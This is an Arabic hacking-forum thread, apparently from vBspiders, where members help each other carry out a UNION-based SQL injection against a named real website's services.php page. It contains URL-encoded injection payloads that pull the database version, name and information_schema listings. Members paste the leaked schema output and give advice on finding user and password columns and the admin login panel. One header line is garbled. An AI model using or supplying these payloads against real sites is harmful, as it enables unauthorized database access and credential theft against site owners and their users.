هنا وصلت سعدوني الله يخليكم سعدوني

[خالد سعودي]

بسم اللة الرحمن الرحيم
السلام عليكم ورحمه الله وبركاته
كيف حالكم عساك بخير أن شاء الله
عندي مشكله بسيط ممكن تسعدوني

كود PHP:

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45
%4C%45%43%54 version()-- 


اسم القاعدة

كود PHP:

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45
%4C%45%43%54 Database() -- 


كود PHP:

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45%4C%45%43%54 %43%6F%6E%63%61%74(table_name,0x3a,column_name,0x3a,table_%73%63%68%65%6D%61)+from+information_%73%63%68%65%6D%61.columns+where+table_name=0x50524f46494c494e47-- 


طلع لنا
PROFILING:QUERY_ID:information_schema

شفرنا الامر PROFILING
طلع نفسة
PROFILING:QUERY_ID:information_schema

بعد ما ضفنا الامر Group_
طلع لنا وهذي مشكلتي
PROFILING:QUERY_ID:information_schema,PROFILING:SE Q:information_schema,PROFILING:STATE:information_s chema,PROFILING:DURATION:information_schema,PROFIL ING:CPU_USER:information_schema,PROFILING:CPU_SYST EM:information_schema,PROFILING:CONTEXT_VOLUNTARY: information_schema,PROFILING:CONTEXT_INVOLUNTARY:i nformation_schema,PROFILING:BLOCK_OPS_IN:


هنا وصلت سعدوني الله يخليكم سعدوني
فمان اللهprayerprayerprayerخالد سعودي

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC ikh ,wgj su],kd hggi dogd;l

[KaLa$nikoV]

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45%4C%45%43%54 %43%6F%6E%63%61%74(table_name,0x3a,column_name,0x3a,table_%73%63%68%65%6D%61)+from+information_%73%63%68%65%6D%61.columns+where+table_name=0x50524f46494c494e47-- 

حسب علمي قبل لا تصول هيك خطوه الاصل بحثت عن عمود الباسورد وجدوله

where column_name like %pas%


علما كلمت pass مشفره char_mysql

وهاد كله مر بالدروه اتمنا منك المتابعه بدقه


موفق

[خالد سعودي]

بسم الله الرحمن الرحيم
الســـلا م عليكم ورحمه الله وبركاته (الجميع )

أخي : VoLc4n0:Great: بارك الله وأطال الله في عمرك prayer شكر الله سبحانه وتعالي ثم شكرك على تعاونك معنا أرجو أن تقبلني :
وتحملني على الأسئلة:a11::a11:

ستخرجنا عمود pass

كود PHP:

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45
%4C%45%43%54 %43%6F%6E%63%61%74(table_name,0x3a,column_name,0x3a,table_%73%63%68%65%6D%61)+from+information_%73%63%68%65%6D%61.columns+Where+column_name+LIKE+CHAR(37, 112, 97, 37)-- 


PROFILING:PAGE_FAULTS_MAJOR:information_schema

بعد ماستخدمنا الامر Group_
تبين لنا

PROFILING:PAGE_FAULTS_MAJOR:information_schema,PRO FILING:PAGE_FAULTS_MINOR:information_schema,ROUTIN ES:PARAMETER_STYLE:information_schema,ROUTINES:SQL _PATH:information_schema,SCHEMATA:SQL_PATH:informa tion_schema,STATISTICS:SUB_PART:information_schema ,STATISTICS:PACKED:information_schema,pages:page_i d:shawgidley,pages:page_alias:shawgidley,

شفرنا
PROFILING
ROUTINES
SCHEMATA
STATISTICS
pages
بعد التشفير وستخدمنا الامر Group_ في الحقن

PROFILING:QUERY_ID:information_schema,PROFILING:SE Q:information_schema,PROFILING:STATE:information_s chema,PROFILING:DURATION:information_schema,PROFIL ING:CPU_USER:information_schema,PROFILING:CPU_SYST EM:information_schema,PROFILING:CONTEXT_VOLUNTARY: information_schema,PROFILING:CONTEXT_INVOLUNTARY:i nformation_schema,PROFILING:BLOCK_OPS_IN:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++
ROUTINES:SPECIFIC_NAME:information_schema,ROUTINES :ROUTINE_CATALOG:information_schema,ROUTINES:ROUTI NE_SCHEMA:information_schema,ROUTINES:ROUTINE_NAME :information_schema,ROUTINES:ROUTINE_TYPE:informat ion_schema,ROUTINES:DTD_IDENTIFIER:information_sch ema,ROUTINES:ROUTINE_BODY:information_schema,ROUTI NES:ROUTINE_DEFINITION:information_schema
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++
SCHEMATA:CATALOG_NAME:information_schema,SCHEMATA: SCHEMA_NAME:information_schema,SCHEMATA:DEFAULT_CH ARACTER_SET_NAME:information_schema,SCHEMATA:DEFAU LT_COLLATION_NAME:information_schema,SCHEMATA:SQL_ PATH:information_schema
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++


STATISTICS:TABLE_CATALOG:information_schema,STATIS TICS:TABLE_SCHEMA:information_schema,STATISTICS:TA BLE_NAME:information_schema,STATISTICS:NON_UNIQUE: information_schema,STATISTICS:INDEX_SCHEMA:informa tion_schema,STATISTICS:INDEX_NAME:information_sche ma,STATISTICS:SEQ_IN_INDEX:information_schema,STAT ISTICS:COLUMN_NAME:information_schema,STA
+++++++++++++++++++++++++++++++++++++++++++++++++
pages:page_id:shawgidley,pages:page_alias:shawgidl ey,pages:page_title:shawgidley,pages:page_text:sha wgidley,pages:filename:shawgidley,pages:countryid: shawgidley
+++++++++++++++++++++++++++++++++++++++++++++++++

وستخرجنا عمود اليورز

كود PHP:

www.fhnewcastle.com.au/services.php?top=services&category=services&sid=-3 %55%4E%49%4F%4E%20%53%45
%4C%45%43%54 %43%6F%6E%63%61%74(table_name,0x3a,column_name,0x3a,table_%73%63%68%65%6D%61)+from+information_%73%63%68%65%6D%61.columns+Where+column_name+LIKE+CHAR(37, 117, 115, 101, 114, 37)-- 


PROFILING:CPU_USER:information_schema

:20: كيف ارتب نفسي مع هذا وكيف افهم لي نحتاج وكيف احقن والله العلم أنها أخر شي في الحقن بس ما دري كيف يكون الترتيب في الأخير.

أرجو من الله ثم منكم المساعدة وكما أرجو أن الفكرة وصلتكم
فمان الرحمن prayerprayerprayer

[خالد سعودي]

VoLc4n0 انت معي لو معليك امر[you]

[TheGame]

اخي الامر group يستخدم لاظهار جميع الاعمد والجداول وهذه جميع الاعمدة الي بالموقع
distributors,********_cats,********s,enquiries,faq s,jobapplicants,links,news,pages,product_cats,prod uct_

وجربت نصفها وماكان فيها عامود اليوزر والباسوررد

باستخدام الامر

http://www.fhnewcastle.com.au/servic...ervices&sid=-3 %55%4E%49%4F%4E%20%53%45
%4C%45%43%54 %47%72%6F%75%70%5F%43%6F%6E%63%61%74(table_name,0x 3a,column_name)+from+information_%73%63%68%65%6D%6 1.columns Where table_name=0x66617173--

والي ملون بالاحمر هذا اسم العامود مشفر بالــ Mysql-char

وراح تطلعك مشكلة ثانية وهي لوحة التحكم انا بحثت عنه ومالقيته

فنصيحة من اخوك الصغير

في المرة القادمة انت ابحث عن لوحة التحكم وبعدها ادخل صفحة لوحة التحكم وبعدها افتح سورس الصفحة وشوف عامود الباسوور

شسمة وهذا يسهل الامر عليك اكثر

[خالد سعودي]

TheGame

بارك اللة فيك مشكور الله لايرحمنا منك

[dz-الشبح]

[align=center]افدوك الشباب ماشاء الله عليهم موفق ان شاء الله[/align]